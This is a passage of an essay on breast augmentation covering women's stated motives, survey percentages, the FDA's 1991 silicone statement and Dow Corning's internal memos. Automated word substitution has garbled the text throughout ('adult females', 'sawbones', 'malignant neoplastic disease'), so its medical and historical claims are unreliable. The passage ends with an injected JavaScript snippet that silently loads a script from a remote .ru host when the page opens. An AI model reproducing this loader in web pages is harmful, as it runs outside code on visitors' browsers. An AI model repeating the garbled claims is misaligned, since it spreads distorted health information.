aspect and that is the lone ground why she decided to acquire the surgery. A informant for the suspect was the actress Rhonda Shear of USA # 8217 ; s Up All Night contended that although her implants had helped her calling, it was non why she elected to hold the surgery. The surgery was done out of personal pick and her statement for the defence was that # 8220 ; all adult females who have decorative surgery, do a witting pick in making so. # 8221 ; There was no coercion involved.Not merely in Hollywood do we see this type personal sweetening performed, but in magazines, mold, and in the alien amusement industry besides. Why is there such a dramatic accent on these adult females who decide to increase their flop line? That inquiry remains known merely to the person who elects to hold the surgery. Because this type of surgery has become so popular, many adult females in today # 8217 ; s society have elected to hold breast augmentation entirely for decorative intents. # 8220 ; When the ASPRS ( American Society of Plastic and Re-constructive Surgeons ) study asked adult females why they chose to hold breast augmentation, the three most common grounds given were: The desire for a more proportionate physique ( 93 % ) , a more appealing visual aspect ( 83 % ) , and a encouragement in self assurance ( 76 % ) # 8221 ; ( Bruning 27 ) . The ideal adult female started to go taller and dilutant. Work force desired slender hips and big chests. This image shriek at us twenty-four hours and dark on Television, at the films, in magazines and newspapers, and at the wellness nines. Womans hold fallen into the prototype of # 8220 ; purchase this merchandise and you will belong to the nine of the attractive and good endowed # 8221 ; ( Bruning 27 ) . In September of 1991 the FDA after having legion ailments issued a public study saying that silicone chest implants would non be deemed safe or harmful until farther surveies could be conducted. This statement outraged many adult females who had already began to experience the effects of their implants.# 8220 ; Implants, both ruptured and integral, have been charged with doing a enormous array of diseases. These scope from memory loss to difficulty get downing to joint hurting to decreased sex thrust to # 8220 ; skin fastening # 8221 ; to autoimmune diseases and even to malignant neoplastic disease. Some have referred to this wide configuration of symptoms as # 8220 ; silicone gel syndrome # 8221 ; ( Doyle 1 ) . The first public intimation of serious jobs did non surface until 1977, when an fact-finding narrative of chest expansion was published by Ms. Magazine contained a disclosure article the headline # 8220 ; A 60 % Complication Rate for an Operation You Don # 8217 ; t Need # 8221 ; ( Bryne 81-82 ) . After a lurid find from look intoing Dow Corning # 8217 ; s internal memo # 8217 ; s, 1000s of these memo # 8217 ; s revealed deficiency of long term testing, ailments from physicians, and escape of silicone from the implants. The most hideous incident discovered was ailments from sawboness of implants tearing in the operating room, as they tried to put in them into adult females # 8217 ; s chests ( Byrne 98 ) . Pathology studies indicate considerable silicone reaction to the extruded stuff can do terrible foreign organic structure reaction in susceptible persons. Angstrom missive written to Dow Corning from Charles A. Vinnick a prevailing decorative sawbones in California wrote: # 8221 ; I am loathe to print my series of instances as I feel that it may open Pandora # 8217 ; s box. I do experience, nevertheless, that rapid airing of this information is really necessary to protect your comapny and my co-workers # 8221 ; ( Bryne 98 ) . Vinnick complained to Dow about an incident when he removed a brace of silicone implants, the gel in a ruptured implant was awfully runny while the gel inside the other implant was of ideal coherence. This difference led him and some others to believe that when silicone gel came into contact with tissue fluids and flesh out the gel # 8217 ; s consistence changed. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;